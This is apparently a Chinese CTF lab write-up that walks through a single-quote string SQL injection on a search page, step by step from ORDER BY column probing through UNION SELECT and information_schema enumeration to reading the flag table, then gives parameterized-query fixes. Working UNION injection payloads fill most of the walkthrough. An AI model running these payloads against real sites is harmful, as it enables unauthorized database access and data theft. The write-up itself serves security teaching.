【好靶场】报错注入-sql注入-字符型
- 前言
-
- 一、前置核心原理
-
- [1. 字符型注入的本质:字符串闭合失效](#1. 字符型注入的本质:字符串闭合失效)
- [2. 注释符 -- 空格的必要性](#2. 注释符 -- 空格的必要性)
- [3. 本次注入三大核心语法作用](#3. 本次注入三大核心语法作用)
- [4. UNION 注入硬性规则](#4. UNION 注入硬性规则)
- 二、靶场信息与测试目标
-
- [1. 靶场基础信息(初始仅从页面截图可知)](#1. 靶场基础信息(初始仅从页面截图可知))
- [2. 本文测试目标](#2. 本文测试目标)
- [三、漏洞验证与 Flag 获取过程](#三、漏洞验证与 Flag 获取过程)
-
- [步骤 1:用单引号确认是否存在字符型注入](#步骤 1:用单引号确认是否存在字符型注入)
- [步骤 2:使用 `ORDER BY` 判断字段数量](#步骤 2:使用
ORDER BY判断字段数量) - [步骤 3:使用 `UNION SELECT` 寻找回显位](#步骤 3:使用
UNION SELECT寻找回显位) - [步骤 4:枚举当前数据库中的数据表](#步骤 4:枚举当前数据库中的数据表)
- [步骤 5:枚举 `flag` 表的字段名](#步骤 5:枚举
flag表的字段名) - [步骤 6:读取 Flag](#步骤 6:读取 Flag)
- [四、把每一步串成完整的 SQL 执行逻辑](#四、把每一步串成完整的 SQL 执行逻辑)
- 五、常见失败点与排查思路
-
- [1. `--` 后少了空格](#1.
--后少了空格) - [2. `UNION SELECT` 列数不一致](#2.
UNION SELECT列数不一致) - [3. 只知道列数,不知道数据展示在哪里](#3. 只知道列数,不知道数据展示在哪里)
- [4. 表名或字段名没有加引号](#4. 表名或字段名没有加引号)
- [5. 浏览器、代理工具改变了特殊字符](#5. 浏览器、代理工具改变了特殊字符)
- [1. `--` 后少了空格](#1.
- 六、漏洞根因与修复建议
-
- [1. 根因:将外部输入直接拼接到 SQL 文本](#1. 根因:将外部输入直接拼接到 SQL 文本)
- [2. 正确修复:使用参数化查询](#2. 正确修复:使用参数化查询)
- [3. 输入校验只能作为补充](#3. 输入校验只能作为补充)
- [4. 不把数据库报错直接返回给用户](#4. 不把数据库报错直接返回给用户)
- [5. 数据库账户遵循最小权限](#5. 数据库账户遵循最小权限)
- 总结
前言
在 SQL 注入学习中,很多人习惯直接复制 Payload 拿 Flag,却无法独立分析漏洞成因与利用逻辑。想要真正掌握注入,必须建立一套标准化探测流程:判断可控输入、确定闭合方式、探测字段数量、定位回显位置、枚举库表结构、读取目标数据。
本次靶场为单引号闭合字符型 SQL 注入 ,页面具备 SQL 错误回显且支持 UNION 联合查询。这里做一次关键概念纠正:本题仅依靠报错完成漏洞探测,核心数据利用方式为 UNION 联合查询,不属于报错注入利用。
后端原始 SQL 语句将用户搜索参数直接拼接查询,无过滤、无预编译,存在完整注入漏洞:
sql
SELECT id, name, email, department, salary, phone, address
FROM user
WHERE name = '$name'
下文将严格按照 0 到 1 的完整复现流程,每一步包含探测意图、输入 Payload、页面现象、原理分析,形成可迁移、可复用的注入思维。
一、前置核心原理
1. 字符型注入的本质:字符串闭合失效
数字型注入无需闭合符号,而字符型注入依靠引号包裹参数,必须破坏引号结构才能篡改 SQL 逻辑。
正常搜索时,参数被单引号完整包裹:
sql
WHERE name = '张三'
当我们输入单引号 ' 时,原字符串被提前闭合,后端 SQL 出现语法残缺:
sql
WHERE name = '''
数据库抛出 1064 语法错误,证明用户输入成功参与 SQL 解析,且当前闭合方式为单引号字符型。
2. 注释符 -- 空格的必要性
MySQL 中 -- 必须后跟空格才是合法单行注释。
注入的核心逻辑,不仅是构造前面的语句,更需要注释掉后端残留的闭合符号,避免语句报错失效。
输入:' order by 7--
最终生效 SQL:
sql
WHERE name = '' ORDER BY 7 -- '
末尾单引号被注释,语句结构完整可正常执行。所有注入失败、语法报错的高频原因,基本都是注释空格丢失、特殊字符被编码导致。
3. 本次注入三大核心语法作用
| 语法 | 核心作用 | 本题使用场景 |
|---|---|---|
ORDER BY |
通过依次递增排序字段,探测原始查询的总列数 | UNION 查询必须保证前后字段数量一致,这是联合注入的硬性前提 |
UNION SELECT |
拼接自定义查询结果,用于在页面回显我们需要的数据 | 读取库名、表名、字段、Flag 数据 |
information_schema |
MySQL 系统元数据表,可枚举库、表、字段信息 | 无后台权限时自动枚举数据库结构 |
4. UNION 注入硬性规则
联合查询执行必须满足两个条件:
- 前后两条 SELECT 查询字段数量完全一致;
- 对应字段数据类型兼容、可页面渲染。
经过探测,本题原始查询固定返回 7 列,因此所有 UNION Payload 必须严格构造 7 个字段占位。
二、靶场信息与测试目标
1. 靶场基础信息(初始仅从页面截图可知)
仅能直接观察到的内容:

⚠️ 重点:在最开始测试前,我们完全不知道后端SQL长什么样、查询了几列、表格字段对应关系,这些全部都要靠一步步注入探测得出,不能提前预设。
2. 本文测试目标
在不修改、写入数据库数据的前提下,按顺序完成整套注入验证流程:
text
确认是否存在字符型注入
↓
探测原始SQL查询的列数量
↓
定位页面可展示数据的回显位置
↓
枚举当前数据库内所有数据表
↓
枚举目标flag表内的字段名
↓
读取flag字段内的目标数据
三、漏洞验证与 Flag 获取过程
步骤 1:用单引号确认是否存在字符型注入
输入内容:
text
'
点击"搜索"后,页面返回:
text
查询错误: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")

观察与分析:
- 错误编号
1064是 MariaDB / MySQL 常见的 SQL 语法错误; - 错误位置紧邻单引号,符合用户输入打断字符串边界的特征;
- 这说明输入很可能没有经过参数化处理,而是被拼接进了 SQL 文本。
结论:
可以初步确认这是一个由单引号闭合的字符型 SQL 注入点。
下一步动作:
既然输入可以改变 SQL 语法,就继续用 ORDER BY 判断原查询返回了多少列,为 UNION SELECT 做准备。
步骤 2:使用 ORDER BY 判断字段数量
先输入:
text
' order by 7--
观察页面现象:

页面没有 SQL 报错,仍然能够正常显示搜索结果表格。
然后将数字增加 1,输入:
text
' order by 8--
观察页面现象:

页面出现数据库错误,常见表现是"未知列"或与排序位置相关的 SQL 错误。
为什么能这样判断:
ORDER BY 7 表示按结果集的第 7 列排序。若结果集中确实有第 7 列,数据库可以正常执行;ORDER BY 8 则请求按不存在的第 8 列排序,因此会失败。
text
ORDER BY 7 正常
ORDER BY 8 报错
↓
原查询结果集共有 7 列
结论:
原查询返回 7 列 。因此构造联合查询时,UNION SELECT 后面也必须提供 7 个字段。
下一步动作:
用 1 到 7 作为标记值进行联合查询,确认这 7 个位置中哪些会显示在页面上。
注意:
ORDER BY 8的本质通常不是"语法错误",而是引用了超出结果集范围的排序列。不同靶场可能对错误信息进行了统一包装,页面上都可能只显示为"查询错误"。判断时以"7 正常、8 稳定失败"的对照现象为准。
步骤 3:使用 UNION SELECT 寻找回显位
输入内容:
text
' union select 1,2,3,4,5,6,7--
页面回显:
搜索结果表格中出现一行内容:

分析:
这条语句成功执行,说明列数已经匹配。页面字段与联合查询位置的关系如下:
| ID | 姓名 | 邮箱 | 部门 | 薪资 | 电话 | 地址 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
理论上这 7 个位置都能看到标记值。为了后续记录统一,本文选择第 3 位"邮箱"承载查询结果。将要显示的内容放在第 3 个表达式,其余位置使用常量占位即可。
结论:
第 3 列是稳定、清晰的回显位,后续统一使用:
sql
UNION SELECT 1, 2, <要显示的数据>, 4, 5, 6, 7
下一步动作:
通过 information_schema.tables 查询当前数据库的表名。
步骤 4:枚举当前数据库中的数据表
输入内容:
text
' union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--
页面回显:
邮箱列显示:

text
users,flag
Payload 语法拆解讲解:
sql
information_schema.tables
保存数据库中表的元数据;而:
sql
table_schema = database()
把范围限制为当前正在使用的数据库,避免枚举到其他库的表名。
group_concat(table_name) 会把多行表名拼成一个逗号分隔的字符串。这样即使页面只显示一行记录,也能一次看到多个表名。
结论:
当前库中至少存在:
text
users
flag
其中 flag 的命名具有明显的题目特征,优先查看其字段结构。
下一步动作:
在 information_schema.columns 中查询 flag 表的字段名。为了避免同名表存在于其他数据库,查询时也要加上当前库限制。
步骤 5:枚举 flag 表的字段名
输入内容:
text
' union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database() and table_name='flag'--
页面回显:
邮箱列显示:

text
id,flag
分析:
information_schema.columns 记录每张表的列信息。这里已经确认:
id:通常为记录编号;flag:字段名直接表明其内容就是题目目标。
结论:
目标数据位于 flag 表的 flag 字段中。
下一步动作:
从 flag 表读取该字段内容。
步骤 6:读取 Flag
输入内容:
text
' union select 1,2,group_concat(flag),4,5,6,7 from flag--
页面回显:

邮箱列直接显示 Flag 字符串。
bash
flag{3bfc1b7d820e465090e090ef93cdaa0b}
为什么这里仍使用 group_concat():
如果 flag 表只有一条记录,直接写 flag 也可以;使用 group_concat(flag) 的好处是,即使有多条记录,页面仍会将结果拼接为一条字符串返回,适合只有一个固定回显位的场景。
最终结论:
漏洞利用链路完整闭合:输入可控 → 打断字符边界 → 联合查询成功 → 数据库结构可枚举 → 可读取 flag 字段。至此,本题验证完成。
四、把每一步串成完整的 SQL 执行逻辑
以最后一步为例,搜索框输入:
text
' union select 1,2,group_concat(flag),4,5,6,7 from flag--
服务端拼接后,核心 SQL 逻辑可以理解为:
sql
SELECT id, name, email, department, salary, phone, address
FROM user
WHERE name = ''
UNION
SELECT 1, 2, GROUP_CONCAT(flag), 4, 5, 6, 7
FROM flag -- '
其中:
- 开头的
'闭合了name = '中原有的字符串; name = ''通常不会匹配到目标记录,但这不是重点;UNION SELECT把第二段查询的结果追加到页面结果中;GROUP_CONCAT(flag)放在第 3 位,所以会显示在"邮箱"列;--注释掉后端拼接在末尾的单引号。
整个过程可以概括为:
text
单引号报错
↓
确认字符串闭合
↓
ORDER BY 确认 7 列
↓
UNION SELECT 1~7 确认回显位
↓
information_schema 查询表名与字段名
↓
从 flag.flag 读取目标内容
五、常见失败点与排查思路
1. -- 后少了空格
错误写法:
text
' union select 1,2,3,4,5,6,7--

推荐写法:
text
' union select 1,2,3,4,5,6,7--
MySQL / MariaDB 中 -- 后通常需要空白字符才能被识别为注释。末尾空格丢失时,原语句的尾部单引号可能没有被注释,导致错误。
2. UNION SELECT 列数不一致
例如已确认原查询有 7 列,却误写成:
sql
UNION SELECT 1,2,3
数据库会拒绝联合查询。必须保证两个 SELECT 的列数一致。本题固定使用 7 个位置:
sql
1,2,<回显内容>,4,5,6,7
3. 只知道列数,不知道数据展示在哪里
ORDER BY 只能帮助确定列数,不能判断页面到底显示哪一列。必须继续使用:
text
' union select 1,2,3,4,5,6,7--
通过标记值和表格表头一一对应后,再决定把数据放到哪里。
4. 表名或字段名没有加引号
查询元数据时,字符串条件必须写成字符串:
sql
table_name='flag'
而不是:
sql
table_name=flag
后者会把 flag 当作标识符解析,容易造成错误或查询不到结果。
5. 浏览器、代理工具改变了特殊字符
单引号、空格和 # 等字符在不同请求方式中可能被编码或截断。遇到"本来正确的 Payload 没有预期现象"时,可检查:
- 最终发出的请求参数是否仍包含单引号;
--后的空格是否保留;- 请求是否被前端校验、URL 编码或 WAF 规则改写;
- 同一 Payload 是否能稳定复现相同的状态码、错误提示或回显。
不要仅凭一次页面变化下结论,应使用正常输入、测试输入和重复请求做对照。
六、漏洞根因与修复建议
1. 根因:将外部输入直接拼接到 SQL 文本
漏洞代码的核心问题通常类似:
php
$sql = "SELECT id, name, email, department, salary, phone, address
FROM user
WHERE name = '$name'";
$result = $pdo->query($sql);
此时 $name 不再只是"数据",而可能成为 SQL 语法的一部分。无论只过滤单引号、空格还是 UNION 关键字,都无法从根本上解决这个问题。
2. 正确修复:使用参数化查询
以 PDO 为例,应把 SQL 结构与用户数据分开:
php
$pdo = new PDO($dsn, $username, $password, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
]);
$sql = 'SELECT id, name, email, department, salary, phone, address
FROM user
WHERE name = :name';
$stmt = $pdo->prepare($sql);
$stmt->execute([':name' => $name]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
在参数化查询中,$name 会作为一个值绑定,而不会参与 SQL 语法解析。即使用户输入单引号,也只会被当成普通字符处理。
3. 输入校验只能作为补充
如果业务要求姓名只允许中文、字母、空格和有限长度,应额外做格式与长度校验。但要明确:
text
输入校验 ≠ SQL 注入的根本修复
预编译 / 参数绑定 = 必须具备的根本修复
输入校验用于保证业务数据质量;参数化查询用于隔离代码与数据,防止注入。
4. 不把数据库报错直接返回给用户
本题之所以能快速判断注入类型,是因为页面直接暴露了 MariaDB 错误信息。在生产环境中应:
- 对用户返回统一、无敏感信息的错误提示;
- 将数据库错误写入受保护的服务端日志;
- 配合错误追踪系统定位问题;
- 避免泄露数据库类型、SQL 片段、表名、文件路径和版本信息。
这不能替代参数化查询,但可以减少信息泄露带来的利用便利。
5. 数据库账户遵循最小权限
业务连接账号只授予实际业务表所需的 SELECT、INSERT、UPDATE 等权限,不使用高权限管理员账号连接应用。最小权限不能消除注入漏洞,但能够在漏洞出现时缩小可读取、可修改的范围。
总结
这道题最重要的不是机械记忆 Payload,而是建立稳定的判断链:
text
输入 ' 出现数据库语法错误
→ 证明引号边界可能可控
ORDER BY 7 正常、ORDER BY 8 失败
→ 证明原查询有 7 列
UNION SELECT 1,2,3,4,5,6,7 成功回显
→ 确认联合查询可用并定位页面输出列
查询 information_schema.tables / columns
→ 获得 flag 表和 flag 字段
在第 3 个回显位查询 GROUP_CONCAT(flag)
→ 读取最终目标数据
对于这类字符型联合注入题,始终遵循"先验证、再测列数、再找回显、最后枚举结构与读取数据 "的顺序,能显著减少盲猜和无效测试。更重要的是,从防守角度看,所有这些步骤最终都指向同一个根因:应用把不可信输入拼进了 SQL 文本。 使用参数化查询,才是解决该问题的正确方式。